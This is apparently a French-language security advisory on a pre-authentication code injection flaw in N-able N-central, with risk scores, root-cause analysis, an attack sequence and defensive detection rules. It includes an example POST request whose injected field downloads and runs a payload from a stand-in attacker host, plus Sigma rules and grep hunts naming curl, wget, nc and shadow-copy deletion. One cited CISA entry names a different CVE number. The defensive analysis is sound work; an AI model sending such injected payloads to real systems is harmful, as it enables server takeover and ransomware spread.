CVE-2026-86218 : exécution de code à distance pré-authentification par injection de code statique dans n-able n-central

HERMES

SCORE DE MENACE HERMES & RISQUE D'APPROVISIONNEMENT RMM

Cible : Serveur de gestion centralisée N-able N-central & parc d'agents clients

Confiance : 99%

98 / 100

EXTRÊME

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 20 / 20

Activité de menace 20 / 20

Militarisation 20 / 20

Exposition 19 / 20

Prévalence 18 / 20

Impact 20 / 20

Maturité de l'exploit 20 / 20

Potentiel d'attaque en chaîne 20 / 20

⚖️ Divergence & Justification opérationnelle

Tant le standard CVSS v3.1 (10.0) que le score Hermes (98) traduisent une criticité absolue. La divergence opérationnelle repose sur le multiplicateur catastrophique de la chaîne logistique : N-able N-central est une plateforme de télégestion (RMM) déployée par les fournisseurs de services gérés (MSP) pour administrer des dizaines de milliers de postes et serveurs d'entreprise. Un attaquant non authentifié prenant le contrôle du serveur central hérite immédiatement du pouvoir d'exécution sur l'intégralité des agents déployés sous l'identité NT AUTHORITY\SYSTEM, permettant le chiffrement simultané de parcs entiers en quelques minutes sans franchir les pare-feux des clients.

HASS

SÉVÉRITÉ AGENTIQUE HASS & ORCHESTRATION DU PARC

Cible : Démons de maintenance automatique, stratégies d'automatisation & moteurs de télédistribution

Confiance : 93%

85 / 100

CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions

Autonomie décisionnelle 18 / 20

Accès aux outils & APIs 19 / 20

Privilege 15 / 15

Persistence 14 / 15

External Impact 15 / 15

Propagation 15 / 15

⚖️ Divergence & Justification opérationnelle

N-central opère en gestionnaire de flotte hautement autonome doté de prérogatives d'exécution de scripts PowerShell, d'installateurs logiciels et de déploiement de correctifs. L'exploitation de cette faille pré-authentification permet de détourner le mécanisme légitime d'automatisation pour diffuser des charges hostiles, contournant totalement les défenses EDR locales.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-86218: Pre-Authentication Remote Code Execution via Static Code Injection in N-able N-centralVULNÉRABILITÉ

Nœuds connectés : 1

Relations sortantes actives

→ affectsCOMPOSANTN-able N-central RMM

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in N-able N-central RMM documented in Hermes dossier.”

Preuves vérifiées associées :

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

Le 5 septembre 2026, l’éditeur N-able a émis un avis d’urgence traitant la CVE-2026-86218, une vulnérabilité d’injection de code statique pré-authentification affectant N-able N-central. N-central est l’un des systèmes d’administration à distance (RMM) les plus répandus au monde, conférant aux infogéreurs (MSP) et aux directions informatiques une gestion centralisée des parcs, le déploiement de scripts et le contrôle distant des serveurs et postes clients.

La vulnérabilité permet à un attaquant distant non authentifié d’émettre des requêtes HTTP forgées vers la console web de N-central pour injecter des directives exécutables au sein de gabarits de scripts statiques sur le serveur. Ce code s’exécute avec les privilèges root ou SYSTEM avant toute validation de session ou authentification. Les cyberattaquants exploitent ce point d’entrée unique pour compromettre le serveur RMM et utiliser les canaux de communication légitimes des agents afin de propager des rançongiciels et détruire les sauvegardes de milliers d’entreprises clientes simultanément.

1. Contexte technique & matrice des logiciels affectés

N-central constitue le centre de commandement névralgique des opérations d’infogérance, échangeant des données de télémétrie et des ordres d’exécution via des canaux chiffrés (ports TCP 443 / 5280) avec des agents installés sur les postes de travail et contrôleurs de domaine.

Paramètre	Spécification technique	Portée opérationnelle
Identifiant CVE	`CVE-2026-86218`	Avis officiel N-able / Référence catalogue CISA KEV
Classe de vulnérabilité	Injection de code statique (`CWE-96`)	Données non assainies injectées dans des scripts exécutables
Composant affecté	Portail de gestion web N-central & API de traitement	Routines d’ingestion des requêtes HTTP pré-authentification
Mécanisme déclencheur	Requête HTTP POST forgée vers un point de terminaison public	Injection de commandes shell dans des gabarits backend
Authentification requise	Aucune (`PR:N`)	Attaque directe initiée depuis l’Internet public
Interaction utilisateur	Aucune (`UI:N`)	Exécution immédiate côté serveur dès réception de la requête
Privilèges obtenus	`SYSTEM` / `root` + Prise de contrôle de la flotte	La compromission s’étend du serveur central à tous les agents
Statut CISA KEV	Répertoriée (Ajoutée le 8 septembre 2026)	Exploitation avérée dans des attaques de rançongiciels
Versions affectées	Toutes versions antérieures au build `2026.3.1.14`	Déploiements sur site (on-premises) de serveurs N-central
Version corrigée	`2026.3.1.14` (N-central 2026.3 Hotfix 4)	Neutralisation des paramètres et suppression des écritures dynamiques

2. Anatomie de la vulnérabilité & analyse de cause racine

Le défaut d’injection de code statique

L’architecture applicative de N-central combine des services backend Java, PHP et Python orchestrés derrière un proxy inverse Apache HTTP ou Nginx. Plusieurs points de terminaison hérités traitent des requêtes de configuration préalable, de personnalisation d’interface ou de diagnostic réseau avant toute ouverture de session utilisateur.

Dans les versions précédant le build 2026.3.1.14, un gestionnaire HTTP acceptait des valeurs de configuration transmises par l’utilisateur (telles que des URL de rappel télémétrique ou des chaînes de localisation) et les concaténait directement dans des fichiers de scripts exécutables créés sur le disque :

// Représentation conceptuelle de la génération non sécurisée de scripts dans N-central
public void handleUnauthenticatedConfigRequest(HttpServletRequest request, HttpServletResponse response) {
    String callbackParam = request.getParameter("telemetry_handler");

    // VULNÉRABLE : concaténation directe dans un gabarit de script exécutable
    String scriptTemplate = "#!/bin/bash\n" +
                            "# N-central Generated Callback Handler\n" +
                            "CALLBACK_TARGET=\"" + callbackParam + "\"\n" +
                            "python3 -c \"import requests; requests.get('$CALLBACK_TARGET')\"\n";

    // Écriture dans le répertoire de scripts exécutables
    File outputFile = new File("/opt/n-central/webapps/dynamic_handlers/callback.sh");
    FileUtils.writeStringToFile(outputFile, scriptTemplate, "UTF-8");
    outputFile.setExecutable(true);
}

L’absence de filtrage des guillemets (") et des opérateurs de commande shell (;, |, `) permet à un attaquant d’échapper à la chaîne assignée et d’injecter des commandes shell arbitraires :

POST /admin/config_handler.do HTTP/1.1
Host: rmm.infogerance-msp.com
Content-Type: application/x-www-form-urlencoded

telemetry_handler="; curl -s https://c2.evil-nexus.com/agent.bin -o /tmp/k && chmod +x /tmp/k && /tmp/k; echo "

Dès l’écriture du gabarit ou lors de son invocation planifiée par le système, la charge injectée s’exécute avec les privilèges du processus web (root sous Linux, SYSTEM sous Windows).

L’effet démultiplicateur sur la chaîne logistique

Contrairement aux applications web isolées, la prise de contrôle d’un serveur RMM arme directement l’attaquant contre l’ensemble du parc géré :

L’attaquant accède à la base relationnelle PostgreSQL interne de N-central, siphonnant les clés de chiffrement des agents et les mots de passe de maintenance stockés.
L’attaquant crée une tâche planifiée globale ciblant tous les périphériques gérés.
Le serveur central distribue l’ordre d’exécution vers l’ensemble des agents clients (ncentralagent.exe).
L’agent client exécute la charge utile localement avec le compte NT AUTHORITY\SYSTEM, contournant les barrières de filtrage périphérique et les antivirus locaux qui accordent une confiance aveugle au binaire RMM signé.

3. Vecteurs d’attaque & cinématique d’exécution

Le diagramme séquentiel détaille le déroulement complet de l’attaque, depuis l’injection HTTP initiale jusqu’à la compromission des réseaux d’entreprises clientes.

sequenceDiagram
    autonumber
    actor Attaquant as Cyberattaquant (Externe)
    participant NCentral as Serveur N-central (Port 443)
    participant WebApp as Gestionnaire web vulnérable
    participant DB as Base interne PostgreSQL
    participant Agent1 as Contrôleur de domaine (Client A)
    participant Agent2 as Serveur d'entreprise (Client B)
    participant C2 as Infrastructure hostile

    Attaquant->>NCentral: Requête POST /config_handler.do piégée
    NCentral->>WebApp: Routage de la requête (Sans authentification)
    WebApp->>WebApp: Écriture des commandes injectées dans le script statique
    WebApp->>NCentral: Exécution de la charge shell sous privilèges root/SYSTEM
    Note over NCentral: Prise de contrôle administrative totale du serveur RMM
    Attaquant->>DB: Extraction des clés cryptographiques des agents clients
    Attaquant->>NCentral: Déploiement d'une tâche d'automatisation malveillante
    NCentral->>Agent1: Télédistribution de la tâche via le tunnel chiffré (Port 443)
    NCentral->>Agent2: Télédistribution de la tâche via le tunnel chiffré (Port 443)
    Note over Agent1,Agent2: Exécution de la charge avec privilèges NT AUTHORITY\SYSTEM
    Agent1->>C2: Exfiltration de la base Active Directory NTDS.dit
    Agent2-->>Agent2: Chiffrement des volumes de données et suppression des Shadow Copies

4. Triage forensique & ingénierie de détection

L’investigation sur une infrastructure N-central implique la corrélation des journaux web, la traçabilité des processus et l’analyse de l’historique des tâches de télédistribution des agents.

title: Création anormale de processus depuis le serveur web N-central
id: 5b6c7d8e-9f0a-4b1c-2d3e-ncentral-rce-fr
status: experimental
description: Détecte l'apparition d'interpréteurs de commandes ou d'outils de téléchargement réseau issus des processus web de N-able N-central, signalant l'exploitation de la CVE-2026-86218.
references:
  - https://me.n-able.com/s/security-advisory/aArVy0000002Ld3KAE/cve202686218-preauthentication-remote-code-execution
author: Hermes Codex Cyber Intelligence
date: 2026-09-15
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.004
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|contains:
      - '/n-central/'
      - '/apache2/'
      - '/nginx/'
      - '/tomcat'
  selection_child:
    Image|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/usr/bin/curl'
      - '/usr/bin/wget'
      - '/usr/bin/python3'
      - '/usr/bin/nc'
  condition: selection_parent and selection_child
falsepositives:
  - Scripts officiels exécutés lors des opérations d'assistance technique N-able.
level: critical

title: Exécution massive de scripts anormaux par l'agent N-central
id: 7c8d9e0f-1a2b-3c4d-5e6f-ncentral-agent-abuse-fr
status: experimental
description: Détecte l'exécution de commandes PowerShell encodées ou destructrices par l'agent local N-central avec les privilèges SYSTEM sur les postes clients.
references:
  - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
author: Hermes Codex Cyber Intelligence
date: 2026-09-15
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense_evasion
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\ncentralagent.exe'
      - '\NCentralService.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
    CommandLine|contains:
      - '-enc'
      - '-encodedCommand'
      - 'DownloadString'
      - 'IEX'
      - 'vssadmin delete shadows'
  condition: selection
falsepositives:
  - Scripts de télémaintenance habituels validés par l'équipe d'exploitation MSP.
level: high

# Recherche de requêtes POST suspectes ciblant les gestionnaires non authentifiés
grep -Ei "POST\s+/admin/(config_handler|telemetry|register|diagnostic)" /var/log/httpd/access_log* \
  | grep -Ei "(\%22|\%27|;|\||`|\$\(|\/bin\/sh|curl|wget)"

# Détection de scripts créés récemment dans les sous-dossiers de l'application web
find /opt/n-central/webapps/ -type f -mtime -7 -name "*.sh" -exec ls -la {} +

# Audit des tâches d'automatisation planifiées au cours des dernières 72 heures
psql -U ncentral -d ncentral -c "SELECT task_id, task_name, created_date, target_devices, script_content FROM scheduled_tasks ORDER BY created_date DESC LIMIT 20;"

5. Stratégie de remédiation & durcissement

Application immédiate de la mise à niveau logicielle : Tous les clients exploitant des serveurs N-central sur site doivent migrer immédiatement vers N-central 2026.3 Hotfix 4 (build 2026.3.1.14) ou ultérieure. Les environnements hébergés en mode SaaS (NCOD) ont été mis à jour par l’éditeur.
Isolement réseau de la console d’administration (mesure d’urgence) : Si le déploiement du correctif ne peut être réalisé dans l’heure, restreindre immédiatement l’accès aux ports web 443/80 :
- Bloquer l’accès public et restreindre l’administration aux seules adresses IP de confiance ou via un VPN d’exploitation.
- Séparer le port d’écoute d’enregistrement des agents du portail web d’administration technique.
Audit approfondi des tâches et scripts déployés sur le parc : Inspecter l’historique complet des automatisations exécutées au cours des 14 derniers jours. Vérifier l’intégrité des scripts PowerShell et des règles de déploiement logiciel.
Rotation d’urgence de l’ensemble des identifiants et secrets : Procéder au renouvellement :
- Des mots de passe de la base de données PostgreSQL de N-central.
- Des comptes d’administration des techniciens MSP et des clés d’intégration API.
- Des identifiants de comptes Administrateur du domaine stockés dans les gestionnaires de mots de passe intégrés à N-central.

6. Liens croisés & renseignement connexe

Contournement d'authentification ConnectWise ScreenConnect (CVE-2026-84869) Analyser les vulnérabilités pré-authentification ciblant les outils de télémaintenance RMM.

Détournement de session CORE dans ActiveMQ Artemis (CVE-2026-57967) Étudier les attaques contre les courtiers de messages d'infrastructure d'entreprise.

Active Directory DFIR : contrôleurs de domaine comme pivots (AD-28) Comprendre la compromission des outils de gestion et leur pivot vers les contrôleurs de domaine.

Active Directory DFIR : identités Windows locales et de domaine (AD-01) Explorer les frontières de sécurité, les privilèges SYSTEM et l'usurpation de jetons.